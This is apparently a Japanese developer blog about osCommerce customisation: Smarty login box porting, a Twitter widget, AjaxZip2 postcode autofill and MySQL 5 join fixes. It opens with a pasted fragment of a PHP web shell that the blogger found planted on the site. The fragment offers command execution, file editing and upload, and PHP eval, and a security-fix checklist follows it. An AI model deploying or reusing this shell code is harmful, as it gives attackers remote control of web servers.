}

echo '<HTML><BODY onload="document.getElementById(?'cdfocus?').focus();"><HR>';
echo date("d.m.Y h:i A")." OS:$os $id_exec safe_mode=$safemode";
echo "<HR>";
if (isset($need_save_button)) echo "<FORM method=post>";
echo '<TEXTAREA id="console" name="console" style="width:100%;height:400px;">';
if (isset($retval)) echo htmlspecialchars($retval);
echo '</TEXTAREA>';
if (isset($need_save_button)) echo "$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><INPUT type='hidden' name='edit' value='".htmlspecialchars($edit)."'><INPUT type=submit name=save value='Save'></FORM>";
echo "<HR><FORM method=?"POST?">$pw";
echo "<table><tr><td>dir:</td><td width=?"100%?"><input type=?"text?" style=?"width:100%;?" id=?"cdfocus?" name=?"cd?" value=?"".htmlspecialchars($cd)."?"></td></tr>".
"<tr><td>run:</td><td><input type=?"text?" style=?"width:100%;?" name=?"run?" value=?"?"></td></tr>".
"<tr><td>edit:</td><td><input type=?"text?" style=?"width:100%;?" name=?"edit?" value=?"".htmlspecialchars($edit)."?"></td></tr>".
"</table>".
"<input type=?"submit?" value=?"OK?"></FORM>";

echo "<hr><form enctype=?"multipart/form-data?" method=?"post?">$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><input type=?"hidden?" name=?"MAX_FILE_SIZE?" value=?"15000000?" />upload: <input name=?"userfile?" type=?"file?" /><input type=?"submit?" value=?"upload?" /></form><hr>";
echo "<form method=post>$pw<textarea style=?"width:100%;height:100px;?" name='eval' id='eval'>phpinfo();</textarea><input type=submit value='EvalPHP'></form><hr>";
echo "use module: <form method=post>$pw<input type='text' name='usemodule'>&nbsp;<input type=submit value='use'></form><hr>";
echo "</BODY></HTML>";

exit();


function can_write($file) {if(file_exists($file)){if (is_file($file)) {$f=@fopen($file,"a+");if($f){fclose($f);return true;}}elseif (is_dir($file)) {if ($file[strlen($file)-1]!='/') $file.='/';$tfile = $file."testxxxtest";if (@touch($tfile)){unlink($tfile);return true;}}}return false;}

function magic_execute($cmd)
{
$res=false;
if (function_exists('exec'))
{
@exec($cmd,$res);
$res = join("?n",$res);
}
else
if (function_exists('shell_exec'))
$res = @shell_exec($cmd);
else
if (function_exists('system'))
{
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if(function_exists('passthru'))
{
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if (@is_resource($f = @popen($cmd,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
return $res;
}


どうも悪意のある書き込みなのでセキュリティーの修正をしなければ。。
本家の修正案を考慮して〜

やっておくべきこと

  • 管理フォルダのリネーム ◯簡単なのでこれから
    インジェクションアタック対策 ◯これも修正済み
    監視モニタの設置 ◯入れてみた
    IPトラップ ×いろいろ影響出そうなのでスルー
    管理フォルダのhtaccessでBASIC認証 ×いつでもできるしパスワードが増えるのは面倒
    クロスサイトスクリプトの修正 ◯割と簡単、効果あるかな?




  • とりあえずこんだけすりゃ大丈夫かな?

    2010/01/24

    oscommerce smartyにコントリビューションの移植

    oscommerceをsmartyでデザインとロジックに分離した
    alterというバージョンが存在する。これにログインボックスをつけてみる。

    まずは簡単なコントリビューションからいってみよう。
    本家にいってこれをDL (Login box 1.0)
    http://www.oscommerce.com/community/contributions,645/page,6

    smartyへ登録するために必要なのは基本的に以下の2行のみ。
    $this->box_smarty_obj->assign("login_box_hedding_title",BOX_LOGINBOX_HEADING);
    $this->box_smarty_obj->assign("login_box_contents",$loginboxcontent);

    この2行でほとんどが対応可能。1行目でBOXのヘッダ部分を登録し、
    2行目でBOXのコンテンツ部分の登録になります。

    loginbox.phpでは、中で直接BOXを表示するためにHTMLが記載されています。
    $loginboxcontentという変数に表示内容が設定されています。infoBoxHeadingやinfoBoxを生成していますが、これはBOXのヘッダ部分とコンテンツ部分の枠を作成する関数なので、smartyの場合は不要です。なぜなら、これらはtemplateに記載するためなので、
    $loginboxcontentをsmartyに登録するだけでいいことになります。
    どこを修正したかわかりやすいように不要な部分はコメントアウトにしました。

    <?php
    *osCommerce, Open Source E-Commerce Solutions
    http:www.oscommerce.com Copyright (c) 2002 osCommerceReleased under the GNU General Public LicenseIMPORTANT NOTE:This script is not part of the official osC distribution
    but an add-on contributed to the osC community. Please
    read the README and INSTALL documents that are provided
    with this file for further information and installation notes.loginbox.php - Version 1.0
    This puts a login request in a box with a login button.
    If already logged in, will not show anything.
    *
    ?>
    <!-- loginbox -->
    <?php
    if (!tep_session_is_registered('customer_id')) {
    ?>
    <!--不要なので削除
    <tr>
    <td>
    -->

    <?php
    以下も不要なので削除
    $info_box_contents = array();
    $info_box_contents[] = array('align' => 'left',
    'text' => BOX_LOGINBOX_HEADING
    );
    new infoBoxHeading($info_box_contents, false, false);
    $loginboxcontent = "
    <table border="0" width="100%" cellspacing="0"cellpadding="0">
    <form name="login" method="post" action="" . tep_href_link(FILENAME_LOGIN, 'action=process', 'SSL') . "">
    <tr>
    <td align="left" class="boxText">
    " . BOX_LOGINBOX_EMAIL . "
    <td>
    <tr>
    <tr>
    <td align="left" class="boxText">
    <input type="text" name="email_address" maxlength="96" size="20" value="">
    <td>
    <tr>
    <tr>
    <td align="left" class="boxText">
    " . BOX_LOGINBOX_PASSWORD . "
    <td>
    <tr>
    <tr>
    <td align="left" class="boxText">
    <input type="password" name="password" maxlength="40" size="20" value="">
    <td>
    <tr>
    <tr>
    <td align="center" class="boxText">
    " . tep_image_submit('button_login.gif', IMAGE_BUTTON_LOGIN) . "
    <td>
    <tr>
    <form>
    <table>
    "; 以下も不要なので削除
    $info_box_contents = array();}
    $info_box_contents[] = array('align' => 'center',
    'text' => $loginboxcontent
    );
    new infoBox($info_box_contents); smartyに表示内容を登録する処理を追加
    $this->box_smarty_obj->assign ("login_box_hedding_title",BOX_LOGINBOX_HEADING);
    $this->box_smarty_obj->assign("login_box_contents",$loginboxcontent);?>
    <!-- 以下は不要なので削除
    <td>
    <tr>
    -->

    <?php
    }
    else
    {
    If you want to display anything when the user IS logged in, put it
    in here... Possibly a "You are logged in as :" box or something.
    特に記載する必要なし。
    }
    ?>
    <!-- loginbox_eof -->

    ほとんどコメントアウトし表示するためのデータをsmartyのオブジェクトにassignするだけです。

    loginbox.phpを呼び出す
    require(DIR_WS_BOXES . 'loginbox.php'); // 追加

    templateに追加するには
    {if $login_box_contents}
    <!-- loginbox_info //-->
    {$login_box_hedding_title}
    {$login_box_contents}
    <!-- loginbox_info_eof //-->
    {/if}

    これでよい(htmlで装飾するのもアリ)

    2010/01/23

    ツイッターAPI

    ブログやホームページなどに貼る用に書いてみました〜

    <script src="http://widgets.twimg.com/j/2/widget.js"></script>
    <script>
    new TWTR.Widget({
    version: 2,
    type: 'profile',
    rpp: 5,
    interval: 6000,
    width: 230,
    height: 300,
    theme: {
    shell: {
    background: '#333333',
    color: '#ffffff'
    },
    tweets: {
    background: '#000000',
    color: '#ffffff',
    links: '#4aed05'
    }
    },
    features: {
    scrollbar: false,
    loop: false,
    live: true,
    hashtags: true,
    timestamp: true,
    avatars: true,
    behavior: 'all'
    }
    }).render().setUser('ツイッターユーザー名').start();
    </script>


    ツイッターユーザー名を書き換えてコピペ

    2010/01/22

    oscommerceにAjaxZip2を実装

    通販で住所を登録するのが面倒なので、郵便番号を入力すると
    住所が自動で入力されるAjaxZip2を実装してみる。

    ダウンロードはこちら

    で肝心のoscommerceで住所を入力するところといえば
    ../catalog/create_account.phpなのですが
    項目のモジュールは../catalog/includes/account_details.phpですね

    まずはこの二つのファイルをバックアップ
    ダウンロードしたファイルを/catalogにアップロード
    簡単な所から書き換えるとcreate_account.phpのhead内に以下を追記

    <script src="ajaxzip2/prototype.js"></script>
    <script src="ajaxzip2/ajaxzip2.js" charset="UTF-8"></script>
    <script>AjaxZip2.JSONDATA = 'ajaxzip2/data';</script>


    次は../includes/modules/account_details.phpの145行目あたりに
    // postcode
    if ($is_read_only == true) {
    $a_value = $account['entry_postcode'];
    } elseif ($error) {
    if ($entry_post_code_error == true) {
    $a_value = tep_draw_input_field('postcode') . ' ' . ENTRY_POST_CODE_ERROR;
    } else {
    $a_value = $postcode . tep_draw_hidden_field('postcode');
    }
    } else {
    $a_value = tep_draw_input_field('postcode', $account['entry_postcode']) . ' ' . ENTRY_POST_CODE_TEXT;
    こんなところがあるので
    $a_value = tep_draw_input_field('postcode', $account['entry_postcode']) . ' ' . ENTRY_POST_CODE_TEXT;
    コレにkawa.netさんのマニュアルのようになる風に書き換え
    $a_value = tep_draw_input_field('postcode', $account['entry_postcode'],'onKeyUp="AjaxZip2.zip2addr(this,\'state\',\'city\',null,\'addr\',\'street_address\');"') . ' ' . ENTRY_POST_CODE_TEXT;
    この二つのファイルをアップロードして完了!(5分かからんな)

    2010/01/21

    1054 - Unknown column 'p.products_id' in 'on clause'

    oscommerceをMySql5で使うときの編集方法

    まずこの行をさがす(/catalog/default.phpの170~190)
    // We are asked to show only a specific category
    $listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id where p.products_status = '1' and p.manufacturers_id = m.manufacturers_id and m.manufacturers_id = '" . (int)$HTTP_GET_VARS['manufacturers_id'] . "' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$HTTP_GET_VARS['filter_id'] . "'";
    この中で以下の文を探し
    from " . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c left join
    カッコで括る
    from (" . TABLE_PRODUCTS . " p, " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_MANUFACTURERS . " m, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c) left join
    ここはこれでよし
    もう一カ所はこの文中の
    // We show them all
    $listing_sql = "select " . $select_column_list . " p.products_id, p.manufacturers_id, p.products_price, p.products_tax_class_id, IF(s.status, s.specials_new_products_price, NULL) as specials_new_products_price, IF(s.status, s.specials_new_products_price, p.products_price) as final_price from " . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_PRODUCTS . " p left join " . TABLE_MANUFACTURERS . " m on p.manufacturers_id = m.manufacturers_id, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id where p.products_status = '1' and p.products_id = p2c.products_id and pd.products_id = p2c.products_id and pd.language_id = '" . (int)$languages_id . "' and p2c.categories_id = '" . (int)$current_category_id . "'";
    }
    この行を探し、またカッコで括る
    from ((" . TABLE_PRODUCTS_DESCRIPTION . " pd, " . TABLE_PRODUCTS . " p) left join " . TABLE_MANUFACTURERS . " m on p.manufacturers_id = m.manufacturers_id, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c) left join
    コレで良い

    advanced_search_result.phpにも似たような行があるのでコレも修正
    $from_str = "from " . TABLE_PRODUCTS . " p left join " . TABLE_MANUFACTURERS . " m using(manufacturers_id), " . TABLE_PRODUCTS_DESCRIPTION . " pd left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_CATEGORIES . " c, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c";
    これもカッコで括る
    $from_str = "from ((" . TABLE_PRODUCTS . " p) left join " . TABLE_MANUFACTURERS . " m using(manufacturers_id), " . TABLE_PRODUCTS_DESCRIPTION . " pd) left join " . TABLE_SPECIALS . " s on p.products_id = s.products_id, " . TABLE_CATEGORIES . " c, " . TABLE_PRODUCTS_TO_CATEGORIES . " p2c";
    参考ページはココ